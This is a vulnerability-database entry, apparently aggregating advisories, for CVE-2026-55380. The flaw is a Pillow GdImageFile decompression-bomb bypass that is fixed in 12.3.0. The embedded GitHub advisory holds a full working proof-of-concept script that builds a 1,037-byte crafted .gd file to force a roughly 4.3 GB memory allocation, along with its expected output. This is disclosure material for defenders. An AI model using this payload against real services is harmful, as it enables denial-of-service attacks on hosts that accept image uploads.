CVE-2026-55380
highPriorität · verfolgen · 0EPSS 0.005 · 44. PerzentilDEEUFRRUUSEPSS · bewertet 2026-10-27
Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.
cvss
Technischer Schweregrad, 0–10. Eine Zeile je Quelle.
Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · medium–high · 6.9–7.5
SSVC
Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.
schwächen
Die CWE-Schwächeklassen, zu denen dies gehört.
betroffene Produkte (52)
Betroffene Produkte und Versionsbereiche.
Advisories (5)
Hersteller- und Ökosystem-Meldungen dazu.
- WID-SEC-W-2026-2301Red Hat Enterprise Linux (python-pillow): Mehrere Schwachstellen ermöglichen Denial of ServiceDeutsch2026-07-13csaf · cert_bundDE
Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Red Hat Enterprise Linux bzgl. python-pillow ausnutzen, um einen Denial of Service Angriff durchzuführen.
- GHSA-phj9-mv4w-65pmPillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`2026-07-20ghsa · osvUS
## Description `PIL/GdImageFile.py` `GdImageFile._open()` reads image dimensions from the GD 2.x header and stores them in `self._size` without calling `Image._decompression_bomb_check()`. Because `GdImageFile` is **not registered with `Image.register_open()`**, it never passes through the standard `Image.open()` code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — `PIL.GdImageFile.open(fp)` — which directly instantiates the class, fully bypassing the documented protection. **Vulnerable code (`PIL/GdImageFile.py` lines 50–61):** ```python def _open(self) -> None: s = self.fp.read(1037) if i16(s) not in [65534, 65535]: raise SyntaxError("Not a valid GD 2.x .gd file") self._mode = "P" self._size = i16(s, 2), i16(s, 4) # ← unsigned 16-bit; max 65535 each # NO _decompression_bomb_check() call here ← ... self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")] ``` When `load()` is subsequently called on the returned image object: ```python load() → load_prepare() → Image.core.new("P", (65535, 65535)) # ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this ``` **Dimension arithmetic:** | Field | Value | |---|---| | Maximum width from header | 65,535 (unsigned 16-bit) | | Maximum height from header | 65,535 (unsigned 16-bit) | | Maximum pixel count | 65,535 × 65,535 = **4,294,836,225** | | `DecompressionBombError` threshold | 178,956,970 (2 × MAX_IMAGE_PIXELS) | | **Overshoot ratio** | **24× above DecompressionBombError threshold** | | Memory at max dimensions | **≈ 4.3 GB** (palette-mode: 1 byte/pixel) | | Minimum attack file size | **1,037 bytes** (header only — no pixel data needed) | **Comparison with safe sibling plugin (`WalImageFile`):** `WalImageFile` is in the same category — not registered with `Image.open()`, loaded via its own `open()` helper. It was previously patched with the correct fix: ```python # PIL/WalImageFile.py line 46 — CORRECT pattern (already patched) self._size = i32(header, 32), i32(header, 36) Image._decompression_bomb_check(self.size) # ← present ``` `GdImageFile` was never updated to match, leaving a gap in protection. ## Steps to reproduce **Proof of Concept script:** ```python #!/usr/bin/env python3 """ PoC: GdImageFile decompression bomb bypass 1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check """ import io, struct from PIL import GdImageFile, Image # Build minimal 1037-byte GD 2.x palette-mode header: # sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024) sig = struct.pack(">H", 0xFFFE) # 65534 = GD 2.x magic w = struct.pack(">H", 65535) # max width h = struct.pack(">H", 65535) # max height true_color = b"\x00" # 0 = palette mode tindex = struct.pack(">I", 0xFFFFFFFF) # > 255 = no transparency colors_used = b"\x00\x00" palette_data = b"\x00" * 1024 header = sig + w + h + true_color + tindex + colors_used + palette_data assert len(header) == 1037 # Confirm: standard Image.open() path BLOCKS this size try: Image._decompression_bomb_check((65535, 65535)) except Image.DecompressionBombError as e: print(f"[BLOCKED] Image.open() path: {e}") # Vulnerable path: GdImageFile.open() has NO bomb check img = GdImageFile.open(io.BytesIO(header)) print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}") print(f" No _decompression_bomb_check called — 4.3 GB allocation not blocked") # Trigger load_prepare() → Image.core.new("P", (65535, 65535)) try: img.load() except OSError: print(f"[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted") print(f"\n[MATH] {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold") print(f"[MATH] Attack file: 1,037 bytes only") ``` **Expected output:** ``` [BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P No _decompression_bomb_check called — 4.3 GB allocation not blocked [INFO] load() OSError (no pixel data) — but C-heap allocation already attempted [MATH] 4,294,836,225 pixels = 24.0× error threshold [MATH] Attack file: 1,037 bytes only ``` **Verified live on Pillow 12.2.0.** **Two attack paths:** | Path | File size | Effect | |---|---|---| | Transient (header only) | **1,037 bytes** | `load_prepare()` attempts 4.3 GB C allocation → `OSError` after spike | | Persistent (full pixel data) | ~4.3 GB | `load()` completes, 4.3 GB stays in memory for object lifetime | For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file. **Real-world scenario:** ```python from PIL import GdImageFile # Application accepts user-uploaded .gd files img = GdImageFile.open(user_uploaded_file) # succeeds — no bomb check img.load() # triggers 4.3 GB C-heap allocation ``` ## Impact - **Availability:** HIGH — a single 1,037-byte malicious `.gd` file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down. - **Confidentiality:** None - **Integrity:** None - **Authentication required:** No — any public endpoint accepting image uploads is affected - **User interaction:** None Any service that calls `PIL.GdImageFile.open(user_file)` followed by `.load()` (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint. Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08.
- BIT-pillow-2026-55380Pillow GdImageFile decompression bomb protection bypass2026-07-08vendor · osvUS
Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.
- CERTFR-2026-AVI-1366Multiples vulnérabilités dans les produits SplunkFrançais2026-10-22vendor · certfrFR
- PYSEC-2026-22562026-07-06vendor · osvUS
Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.
auch bekannt als (9)
Weitere Namen und Kennungen dieser Entität.
quellen
Welche Quellen diesen Datensatz belegen und wann.
Referenzen (9)
Externe Belege — Patches, Meldungen, Analysen.
- https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rstcnnvd
- https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675cnnvd
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pmcnnvd
- https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rstenisa_euvd
- https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675enisa_euvd
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pmenisa_euvd
- https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rstRelease Notesnvd
- https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675Patchnvd
Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.
Kostenloser Scan